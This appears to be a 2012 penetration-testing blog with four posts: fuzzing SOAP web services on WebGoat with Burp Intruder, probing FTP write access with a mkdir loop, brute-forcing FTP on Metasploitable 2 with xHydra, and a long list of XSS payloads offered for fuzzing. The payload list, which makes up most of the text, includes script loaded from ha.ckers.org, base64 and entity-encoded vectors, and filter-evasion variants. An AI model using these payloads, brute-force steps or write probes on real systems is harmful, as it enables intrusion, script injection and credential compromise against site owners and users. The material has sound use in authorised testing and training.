Wednesday, October 31, 2012

Automating Web Services Communication and Attacks

Web services "describes a standardized way of integrating Web-based applications using the XML, SOAP, Web Services Description Language (WSDL) and UDDI open standards over an Internet protocol backbone." The description of a web service can be found in a file which describes how the service can be called, expected parameters, and what it returns.

In this post I will be showing how to use Burp, WebScarab, and soapUI to communicate with and test a web service. Topics include:

  • Create a valid SOAP request and receive a response
  • Automate a process to request and receive data
  • Fuzz and look for more common web vulnerabilities such as injection

As an example I will be using WebGoat which is a vulnerable application I set up locally.

Steps:

1. Find the WSDL file which will end in ?WSDL or ?wsdl. It will look like this:

example wsdl file

2. Create a SOAP request of your desired operation (get person's name, credit card, etc.) using WebScarab or soapUI. I will show how to use either one.

Using soapUI:
  • Create a new project, enter the soap request URL ending in ?wsdl
  • soapui example
  • If authentication is required, enter credentials
  • soapui example 2
  • Choose which operation you want to use in your soap request and save the entire request for later
  • soapui example 3
Using WebScarab:
  • Click on the WebServices tab and load the WSDL URL. Enter credentials if prompted
  • webscarab example 1
  • Choose which operation to request and execute it
  • webscarab example 2
  • Click the Summary tab and open up (double click) your POST request
  • webscarab example 3
  • In the request section, click the Text tab and save the entire request for later
  • webscarab example 4

3. Now that we have the request open up a web proxy which can automate attacks such as Burp or ZAP and intercept the ?wsdl request. Replace the GET with POST and paste EITHER request in the body area. If you get an error back you may need to modify the header. For example, if you get "no SOAPAction header!" add "SOAPAction: " in the header.

burp example
The final request looks like this:
POST /WebGoat/services/WSDLScanning?WSDL HTTP/1.1
Host: 192.168.80.134:8080
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:10.0.8) Gecko/20100101 Firefox/10.0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
SOAPAction: 
DNT: 1
Proxy-Connection: keep-alive
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Content-Length: 591

<?xml version='1.0' encoding='UTF-8'?>
<wsns0:Envelope
  xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'
  xmlns:xsd='http://www.w3.org/2001/XMLSchema'
  xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'
>

  <wsns0:Body
    wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'
  >
    <wsns2:getFirstName
          xmlns:wsns2='http://lessons.webgoat.owasp.org'
    >
      <id
        xsi:type='xsd:int'
              xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
      >?</id>
    </wsns2:getFirstName>
  </wsns0:Body>
</wsns0:Envelope>

4. Send this request to Burp Intruder

request in burp intruder

5. Find the item you are requesting and which parameter it takes. soapUI will put a question mark '?' where this is, while webscarab will have whatever value was originally entered to get the request. Mark this as the only payload position.

burp payload positions

6. Choose your payload set based on the type of data you are requesting. In this example I am requesting a first name based on an ID I send, so I am using intruder to send numbers 1-200 to see if any of those IDs are valid and return a first name.

burp payload set

7. Look at the Intruder results and find any outliers which usually indicate a good response or at least something which will give more information to work off of. In this example we see 3 valid responses, so the IDs 101, 102, and 103 correlate to a specific database entry.

burp intruder responses

Now that we have successfully communicated the same thing can be done for other operations to collect as much data as possible.

The next step is to do some fuzzing to look for injection or other attack vectors. This example shows sql injection being performed.

sql injection example

Friday, October 26, 2012

Checking read and write access to an FTP server

Having an FTP server which others can access is a dangerous thing. Allowing others to have write access is even worse. In most situations, whether anonymous FTP is enabled or not, only a small number of people should actually be able to write to the server. If you want to check if you have read and write access to a particular server I came up with a simple way in Ubuntu 12.04. This is a simple task but I go into detail because I want to definitively find out what kind of access I have, therefore I will be attempting to create a 'test' directory in every directory and based on the results will know my access

I created an FTP server locally using VSFTPD (http://en.wikipedia.org/wiki/Vsftpd). Most of the servers will not be local, so I will use FTPFS (http://en.wikipedia.org/wiki/FTPFS) to mount it locally to make things easier to work with. To do this I installed CurlFtpFS with the command 'sudo apt-get install curlftpfs.' This is the listing of the ftp server before we try writing to it:

ftp tree
Assuming that the FTP server is somewhere else, first we'll mount the server locally:
curlftpfs x.x.x.x ~/local-mount-folder

x.x.x.x is the address of the FTP server, and ~/local-mount-folder is a folder YOU create on your local file system, this is where you will access the FTP server. If you get an ERROR such as "bad mount point : permission denied" try running the command as root.

mount ftp local

At this point I can check permissions but what I really want to know is if I have write access in any directory. Additionally I have seen cases where an anonymous ftp server said I had write access everywhere but would deny any write attempts.

For loop to create directory 'created-test-dir' in every existing directory on the server:

cd ftpmount
for k in $(ls -R | grep / | cut -d ":" -f 1); do mkdir $k/created-test-dir; done;

This uses 'ls -R' which gives a recursive listing of all subdirectories and contents, and so on. You will probably see output similar to "mkdir: cannot create directory './ftpmount/created-test-dir': Operation not permitted." This is ok because we know it is attempting to write to the ftp server. With a large ftp server this may take a while but much better than manually checking permissions.

create directories

The final step is to check if/where your 'test' directory was created:

cd ftpmount
find . -name created-test-dir

output

This will find any directories we may have created and also give you a list of where you have write access!

This sort of thing can be very helpful during a penetration test.

Thursday, June 28, 2012

BackTrack and Metasploitable 2 - Brute Forcing FTP

Metasploitable 2 is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. You can download Metasploitable 2 here. I will be using BackTrack 5 R2 to test and exploit the Metasploitable virtual machine.

Getting started is easy. Start your BackTrack and Metasploitable VMs and make sure they can communicate with each other. If they can't ping each other make sure they have the proper addresses (you may need to run 'dhclient' on your BackTrack machine). Now that our machines can talk to each other, let's use BackTrack to see what's running on Metasploitable. We are going to use nmap to get an idea of what is running on the Metasploitable VM. We can use the -sV flag to enable version detection which will give us more information about the found services.

This nmap scan tells us there are a lot of open services. In this post I am going to focus on FTP, and in following posts I will be concentrating on SSH and Telnet. These three services are extremely useful for attackers when trying to gain access to a system. These services should be disabled if not needed or at least strongly protected. Starting with the first service found, let's get access via FTP:

Brute Forcing FTP Using xHydra

Most attackers will usually check if anonymous FTP is enabled before doing anything. In most environments anonymous FTP should be disabled. The next step would be brute forcing an authenticated account. I used xHydra to do this because it provides a nice GUI.
Putting in our target:

Entering our username(s) and password(s), here I am using a small list for testing purposes. Larger lists can be found at Skull Security

The only thing I changed in the Tuning window was the Number of Tasks.
Under the Specific tab the only thing I added was the "http / https url" which is your target IP address.

Start! Because I used small wordlists with credentials I knew would work, it didn't take very long before we got a hit!

Here is the result, logged in using msfadmin:msfadmin
To make things look nice I connected with the same credentials using FireFTP
Done! Using the brute force method does not always work, but if an attacker does their reconnaissance and gets enough information about their target, they can be rather successful.

Thursday, June 21, 2012

Collection of Cross-Site Scripting (XSS) Payloads

Here is a compiled list of Cross-Site Scripting (XSS) payloads, 298 in total, from various sites. These payloads are great for fuzzing for both reflective and persistent XSS. A lot of the payloads will only work if certain conditions are met, however this list should give a pretty good indication of whether or not an application is vulnerable to any sort of XSS. I also included some HTML5 specific payloads.

How should you use this? You can either keep it as a reference list or insert this list into something like Burp Intruder which has different options for inserting and submitting the payloads.

Must be logged in to Google Docs: xss_payloads_6-20-12.txt
<script>alert(123)</script>
<script>alert("hellox worldss");</script>
javascript:alert("hellox worldss")
<img src="javascript:alert('XSS');">
<img src=javascript:alert(&quot;XSS&quot;)>
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
<script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
<script>alert("XSS");</script>&search=1
0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
<h1><font color=blue>hellox worldss</h1>
<BODY ONLOAD=alert('hellox worldss')>
<input onfocus=write(XSS) autofocus>
<input onblur=write(XSS) autofocus><input autofocus>
<body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<form><button formaction="javascript:alert(XSS)">lol
<!--<img src="--><img src=x onerror=alert(XSS)//">
<![><img src="]><img src=x onerror=alert(XSS)//">
<style><img src="</style><img src=x onerror=alert(XSS)//">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<? foo="><x foo='?><script>alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">
<% foo><x foo="%><script>alert(123)</script>">
<div style="font-family:'foo&#10;;color:red;';">LOL
LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
<script>({0:#0=alert/#0#/#0#(0)})</script>
<svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg>
&lt;SCRIPT&gt;alert(/XSS/&#46;source)&lt;/SCRIPT&gt;
\\";alert('XSS');//
&lt;/TITLE&gt;&lt;SCRIPT&gt;alert(\"XSS\");&lt;/SCRIPT&gt;
&lt;INPUT TYPE=\"IMAGE\" SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;BODY BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;BODY ONLOAD=alert('XSS')&gt;
&lt;IMG DYNSRC=\"javascript&#058;alert('XSS')\"&gt;
&lt;IMG LOWSRC=\"javascript&#058;alert('XSS')\"&gt;
&lt;BGSOUND SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;BR SIZE=\"&{alert('XSS')}\"&gt;
&lt;LAYER SRC=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/LAYER&gt;
&lt;LINK REL=\"stylesheet\" HREF=\"javascript&#058;alert('XSS');\"&gt;
&lt;LINK REL=\"stylesheet\" HREF=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;css\"&gt;
&lt;STYLE&gt;@import'http&#58;//ha&#46;ckers&#46;org/xss&#46;css';&lt;/STYLE&gt;
&lt;META HTTP-EQUIV=\"Link\" Content=\"&lt;http&#58;//ha&#46;ckers&#46;org/xss&#46;css&gt;; REL=stylesheet\"&gt;
&lt;STYLE&gt;BODY{-moz-binding&#58;url(\"http&#58;//ha&#46;ckers&#46;org/xssmoz&#46;xml#xss\")}&lt;/STYLE&gt;
&lt;XSS STYLE=\"behavior&#58; url(xss&#46;htc);\"&gt;
&lt;STYLE&gt;li {list-style-image&#58; url(\"javascript&#058;alert('XSS')\");}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS
&lt;IMG SRC='vbscript&#058;msgbox(\"XSS\")'&gt;
&lt;IMG SRC=\"mocha&#58;&#91;code&#93;\"&gt;
&lt;IMG SRC=\"livescript&#058;&#91;code&#93;\"&gt;
žscriptualert(EXSSE)ž/scriptu
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript&#058;alert('XSS');\"&gt;
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data&#58;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\"&gt;
&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http&#58;//;URL=javascript&#058;alert('XSS');\"
&lt;IFRAME SRC=\"javascript&#058;alert('XSS');\"&gt;&lt;/IFRAME&gt;
&lt;FRAMESET&gt;&lt;FRAME SRC=\"javascript&#058;alert('XSS');\"&gt;&lt;/FRAMESET&gt;
&lt;TABLE BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;TABLE&gt;&lt;TD BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
&lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\"&gt;
&lt;DIV STYLE=\"background-image&#58;\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028&#46;1027\0058&#46;1053\0053\0027\0029'\0029\"&gt;
&lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\"&gt;
&lt;DIV STYLE=\"width&#58; expression(alert('XSS'));\"&gt;
&lt;STYLE&gt;@im\port'\ja\vasc\ript&#58;alert(\"XSS\")';&lt;/STYLE&gt;
&lt;IMG STYLE=\"xss&#58;expr/*XSS*/ession(alert('XSS'))\"&gt;
&lt;XSS STYLE=\"xss&#58;expression(alert('XSS'))\"&gt;
exp/*&lt;A STYLE='no\xss&#58;noxss(\"*//*\");
xss&#58;ex&#x2F;*XSS*//*/*/pression(alert(\"XSS\"))'&gt;
&lt;STYLE TYPE=\"text/javascript\"&gt;alert('XSS');&lt;/STYLE&gt;
&lt;STYLE&gt;&#46;XSS{background-image&#58;url(\"javascript&#058;alert('XSS')\");}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;
&lt;STYLE type=\"text/css\"&gt;BODY{background&#58;url(\"javascript&#058;alert('XSS')\")}&lt;/STYLE&gt;
&lt;!--&#91;if gte IE 4&#93;&gt;
&lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;
&lt;!&#91;endif&#93;--&gt;
&lt;BASE HREF=\"javascript&#058;alert('XSS');//\"&gt;
&lt;OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/OBJECT&gt;
&lt;OBJECT classid=clsid&#58;ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript&#058;alert('XSS')&gt;&lt;/OBJECT&gt;
&lt;EMBED SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;swf\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
&lt;EMBED SRC=\"data&#58;image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
a=\"get\";
b=\"URL(\\"\";
c=\"javascript&#058;\";
d=\"alert('XSS');\\")\";
eval(a+b+c+d);
&lt;HTML xmlns&#58;xss&gt;&lt;?import namespace=\"xss\" implementation=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;htc\"&gt;&lt;xss&#58;xss&gt;XSS&lt;/xss&#58;xss&gt;&lt;/HTML&gt;
&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;!&#91;CDATA&#91;&lt;IMG SRC=\"javas&#93;&#93;&gt;&lt;!&#91;CDATA&#91;cript&#58;alert('XSS');\"&gt;&#93;&#93;&gt;
&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
&lt;XML ID=\"xss\"&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=\"javas&lt;!-- --&gt;cript&#58;alert('XSS')\"&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"&gt;&lt;/SPAN&gt;
&lt;XML SRC=\"xsstest&#46;xml\" ID=I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
&lt;HTML&gt;&lt;BODY&gt;
&lt;?xml&#58;namespace prefix=\"t\" ns=\"urn&#58;schemas-microsoft-com&#58;time\"&gt;
&lt;?import namespace=\"t\" implementation=\"#default#time2\"&gt;
&lt;t&#58;set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"&gt;
&lt;/BODY&gt;&lt;/HTML&gt;
&lt;SCRIPT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;jpg\"&gt;&lt;/SCRIPT&gt;
&lt;!--#exec cmd=\"/bin/echo '&lt;SCR'\"--&gt;&lt;!--#exec cmd=\"/bin/echo 'IPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;'\"--&gt;
&lt;? echo('&lt;SCR)';
echo('IPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;'); ?&gt;
&lt;IMG SRC=\"http&#58;//www&#46;thesiteyouareon&#46;com/somecommand&#46;php?somevariables=maliciouscode\"&gt;
Redirect 302 /a&#46;jpg http&#58;//victimsite&#46;com/admin&#46;asp&deleteuser
&lt;META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\"&gt;
&lt;HEAD&gt;&lt;META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
&lt;SCRIPT a=\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT =\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\"&gt;\" '' SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT \"a='&gt;'\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=`&gt;` SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=\"&gt;'&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;document&#46;write(\"&lt;SCRI\");&lt;/SCRIPT&gt;PT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;A HREF=\"http&#58;//66&#46;102&#46;7&#46;147/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//1113982867/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//0x42&#46;0x0000066&#46;0x7&#46;0x93/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//0102&#46;0146&#46;0007&#46;00000223/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"htt p&#58;//6 6&#46;000146&#46;0x7&#46;147/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"//www&#46;google&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"//google\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//ha&#46;ckers&#46;org@google\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//google&#58;ha&#46;ckers&#46;org\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//google&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//www&#46;google&#46;com&#46;/\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"javascript&#058;document&#46;location='http&#58;//www&#46;google&#46;com/'\"&gt;XSS&lt;/A&gt;
&lt;A HREF=\"http&#58;//www&#46;gohttp&#58;//www&#46;google&#46;com/ogle&#46;com/\"&gt;XSS&lt;/A&gt;
&lt;
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&lt;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
&lt;iframe src=http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html&gt;
&lt;IMG SRC=\"javascript&#058;alert('XSS')\"
&lt;SCRIPT SRC=//ha&#46;ckers&#46;org/&#46;js&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js?&lt;B&gt;
&lt;&lt;SCRIPT&gt;alert(\"XSS\");//&lt;&lt;/SCRIPT&gt;
&lt;SCRIPT/SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;BODY onload!#$%&()*~+-_&#46;,&#58;;?@&#91;/|\&#93;^`=alert(\"XSS\")&gt;
&lt;SCRIPT/XSS SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;IMG SRC=\"   javascript&#058;alert('XSS');\"&gt;
perl -e 'print \"&lt;SCR\0IPT&gt;alert(\\"XSS\\")&lt;/SCR\0IPT&gt;\";' &gt; out
perl -e 'print \"&lt;IMG SRC=java\0script&#058;alert(\\"XSS\\")&gt;\";' &gt; out
&lt;IMG SRC=\"jav&#x0D;ascript&#058;alert('XSS');\"&gt;
&lt;IMG SRC=\"jav&#x0A;ascript&#058;alert('XSS');\"&gt;
&lt;IMG SRC=\"jav&#x09;ascript&#058;alert('XSS');\"&gt;
&lt;IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&gt;
&lt;IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041&gt;
&lt;IMG SRC=javascript&#058;alert('XSS')&gt;
&lt;IMG SRC=javascript&#058;alert(String&#46;fromCharCode(88,83,83))&gt;
&lt;IMG \"\"\"&gt;&lt;SCRIPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;\"&gt;
&lt;IMG SRC=`javascript&#058;alert(\"RSnake says, 'XSS'\")`&gt;
&lt;IMG SRC=javascript&#058;alert(&quot;XSS&quot;)&gt;
&lt;IMG SRC=JaVaScRiPt&#058;alert('XSS')&gt;
&lt;IMG SRC=javascript&#058;alert('XSS')&gt;
&lt;IMG SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;
'';!--\"&lt;XSS&gt;=&{()}
';alert(String&#46;fromCharCode(88,83,83))//\';alert(String&#46;fromCharCode(88,83,83))//\";alert(String&#46;fromCharCode(88,83,83))//\\";alert(String&#46;fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;\"&gt;'&gt;&lt;SCRIPT&gt;alert(String&#46;fromCharCode(88,83,83))&lt;/SCRIPT&gt;
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascrscriptipt:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=" &#14;  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
\";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"></BODY></HTML>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION
<form><button formaction="javascript:alert(123)">crosssitespt
<frameset onload=alert(123)>
<!--<img src="--><img src=x onerror=alert(123)//">
<style><img src="</style><img src=x onerror=alert(123)//">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="javascript:alert(1)">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<script>({0:#0=alert/#0#/#0#(123)})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>
<script src="#">{alert(1)}</script>;1
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
<svg xmlns="#"><script>alert(1)</script></svg>
<svg onload="javascript:alert(123)" xmlns="#"></svg>
<iframe xmlns="#" src="javascript:alert(1)"></iframe>
